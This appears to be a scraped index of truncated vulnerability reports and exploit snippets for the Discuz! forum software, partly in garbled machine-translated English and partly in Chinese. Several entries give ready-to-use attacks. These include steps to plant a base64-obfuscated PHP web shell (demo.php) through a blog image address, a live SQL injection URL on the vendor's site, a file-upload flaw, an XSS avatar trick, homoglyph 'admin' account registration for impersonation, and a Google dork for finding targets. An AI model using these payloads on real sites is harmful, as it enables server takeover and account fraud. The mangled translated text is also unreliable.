Discuz! X2. 5 latest GetShell0day detailed use-vulnerability warning-the black bar safety net

I heard that Discuz! This time and out of vulnerability, this was a GetShell vulnerabilities. This exploit is relatively new, it should be a lot of stations haven't updated it. Affects versions: 2 0 1 2 0 4 0 7, beta, rc Discuz! X2. 5 Release 2 0 1 2 0 4 0 7 edition in pregreplace using the e...

Discuz! X2 /source/function/function_exif.php跨站漏洞

No description provided by source...

Discuz!的改名卡道具可以改系统禁止的用户名

简要描述： 【飞易】改名卡漏洞 2.0版本 该漏洞可以更改系统禁止的用户名. 详细说明： 在后台设置了禁止注册的用户名. 但是用改名卡道具就可以修改成任意用户名.长名字没测试过 漏洞证明： 可以自己测试下...我这里就不放出了 Discuz!X2.5的道具. 道具地址http://addon.discuz.com/[email protected]...

Discuz!NT <=3.9 tools/ajax.aspx 文件上传漏洞

No description provided by source...

Discuz云平台QQ互联接口问题

简要描述： Discuz云平台QQ互联接口存在问题，导致用户在开通QQ联通的时候会爆出云平台的路径地址。 详细说明： Discuz云平台QQ互联接口存在问题，导致用户在开通QQ联通的时候会爆出云平台的路径地址。 漏洞证明：...

Discuz NT多个版本文件上传漏洞

简要描述： Discuz NT多个版本文件上传漏洞 文章作者：rebeyond 注：文章首发I.S.T.O信息安全团队，后由原创作者友情提交到乌云-漏洞报告平台。I.S.T.O版权所有，转载需注明作者。 详细说明： 漏洞文件:tools/ajax.aspx 漏洞分析:这个页面里的ajax请求，都没有进行权限的验证，游客权限就可以调用其中的所有方法，很危险的写法，于是有了下面的漏洞。 当filename和upload两个参数同时不为空时，取得input的值，并解密生成uid，然后调用UploadTempAvataruid上传头像，继续跟进方法UploadTempAvatar:...

Discuz! X2. 5 remote code execution vulnerabilities and EXP 0day-vulnerability warning-the black bar safety net

DZ x2. 5 code execution 0day 1. Register any account 2. Login, post a blog log that is log //click the middle of the registration the user name you saw 3. Add a picture, select the network picture, address$fputsfopenbase64decodeZGVtby5waHA,w,base64decodePD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgpz5vaw //us...

Discuz! x1.5 api-trade-notify-credit.php sql注入漏洞

No description provided by source...

Discuz! x1.5 api-manyou-my.php 文件上传漏洞

在my.php中，首选创建一个继承Manyou的类My，然后创建一个My的实例，接着调用Manyou父类的run函数，我们跟进run函数查看： 在run函数中，程序会调用processServerRequest对提交的参数进行处理，而该函数会获取客户端POST提交的参数，根据提交的参数获取相应的扩展接口， 而在my.php文件中的onVideoAuthAuth的函数中，由于没有对文件的扩展名进行判断，因此我们可以直接构造php一句话，利用该函数写入一句话木马，因此这样我们需要提交的参数构造如下： 构造的UploadExp： $module = ‘video’;...

Discuz!所有版本敏感帐号注册

简要描述： 用来社工和骗人，应该可以 详细说明： 允许特殊帐号注册如admin,Αdmiп,аdmin,admiп,аdmiп,Αdmin（就用一些特殊字符替换） 可以伪造管理员，版主或者一些与权威的用户的帐号 漏洞证明： discuz.net上的admin,Αdmiп,аdmin,admiп,аdmiп,Αdmin全被注册了，还可以模仿某些版主的帐号...

Discuz! X2. 5 remote code execution vulnerability warning and EXP[XDAY]-vulnerability warning-the black bar safety net

See discuz dede what vulnerabilities just mental, ha ha...... The process is simple to say, remember a bit of a mess not posted too much code. diff see balabalabala..... if! defined'INDISCUZ' @@ -89,7 +89,7 @@ if$searcharray && $replacearray - $content = pregreplace"/a\s+.?& gt;.?& lt;/a|img\s+.?...

Discuz! X2.5 远程代码执行漏洞

No description provided by source. 1.注册任意账户 2.登陆用户，发表blog日志（注意是日志） 3.添加图片，选择网络图片，地址$fputsfopenbase64decodeZGVtby5waHA,w,base64decodePD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw 4.访问日志，论坛根目录下生成demo.php，一句话密码C...

discuz! X1. 0 – X1. 5 Blind SQL injection exploit & Get Shell-vulnerability warning-the black bar safety net

Exploit Title: discuz! X1. 0 - X1. 5 Blind SQL injection exploit &Get Shell Date: 06-04-2012 Author: Hacker-Fire Category:: webapps Google dork: Powered by Discuz Tested on: Windows 7 P0c : ? Php printr ' + ------------------------------------------------- -------------------------- + Discuz! 1-1...

discuz! X1.0 - X1.5 Blind SQL injection exploit & Get Shell

Exploit for php platform in category web applications Exploit Title: discuz! X1.0 - X1.5 Blind SQL injection exploit & Get Shell Date: 06-04-2012 Author: Hacker-Fire Category:: webapps Google dork: Powered by Discuz Tested on: Windows 7 P0c : ? Php printr ' +...

Discuz! 6.0 common.inc.php 跨站漏洞

No description provided by source...

DZ升级/DX转换程序考虑不当导致用户遗留信息被黑客利用

简要描述： （名词解析：DZ=Discuz!；DX=Discuz! X；UC=UCenter；PW=phpwind） 众所周知的是，DZ = 6.1后，password字段仅作为cookie的登录凭据校验，用户在每次密码修改时，均会重新生成一个无关密码的登录凭据校验； 真实的password相关信息存在UCenter cdbucmembers表中，并且salt过； （2）然而在升级到需要UC的DZ（比如DZ 7.0）时候，针对将cdbmembers导入到UCenter...

DNT官网存在SQL注入漏洞

简要描述： DNT官网存在SQL注入漏洞，Powered by Discuz!NT 3.9.913 Beta 详细说明： 本来是测试凡客（ WooYun: 凡客诚品某频道再暴SQL注入漏洞 ），但发现官方也存在。 注入地址： http://nt.discuz.net/space/manage/ajax.aspx?AjaxTemplate=../../admin/usercontrols/ajaxtopicinfo.ascx&poster=1 利用：...

Discuz 4.0 头像设置处可以持久型脚本

简要描述： Discuz 4.0 头像设置处可以post xss脚本， 可能是个老漏洞了，在内网的论坛上发现的，不知道是否没升级…… 详细说明： Discuz 4.0 头像设置处，先选一个系统自带头像，提交，抓包。 将头像地址【customavatars/190.jpg】替换为xss脚本【javascript:alert/x/】,post提交后，所有头像引用代码辩位;可以成功执行。 不过引号、，等会被替换或编码，必须构造无引号的语句 漏洞证明：...

Discuz x2 source/function/function_connect.php leakage of the server's physical path-vulnerability warning-the black bar safety net

Affected version: Discuz x2 vulnerability description: source/function/functionconnect.php The file header is not added: if! defined‘INDISCUZ’ exit‘Access Denied’; And at the head of the pack The letter the other file: requireonce libfile‘function/cloud’; reference...

Discuz x2 source/function/function_connect.php 泄漏服务器物理路径

source/function/functionconnect.php 文件头部没有加： if!defined‘INDISCUZ’ exit‘Access Denied’; 并且在头部包函了其他文件： requireonce libfile‘function/cloud’; Discuz x2 厂商补丁： Discuz! ------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.discuz.net/ !/usr/bin/env python -- coding: utf-8 -- from pocsuite.n...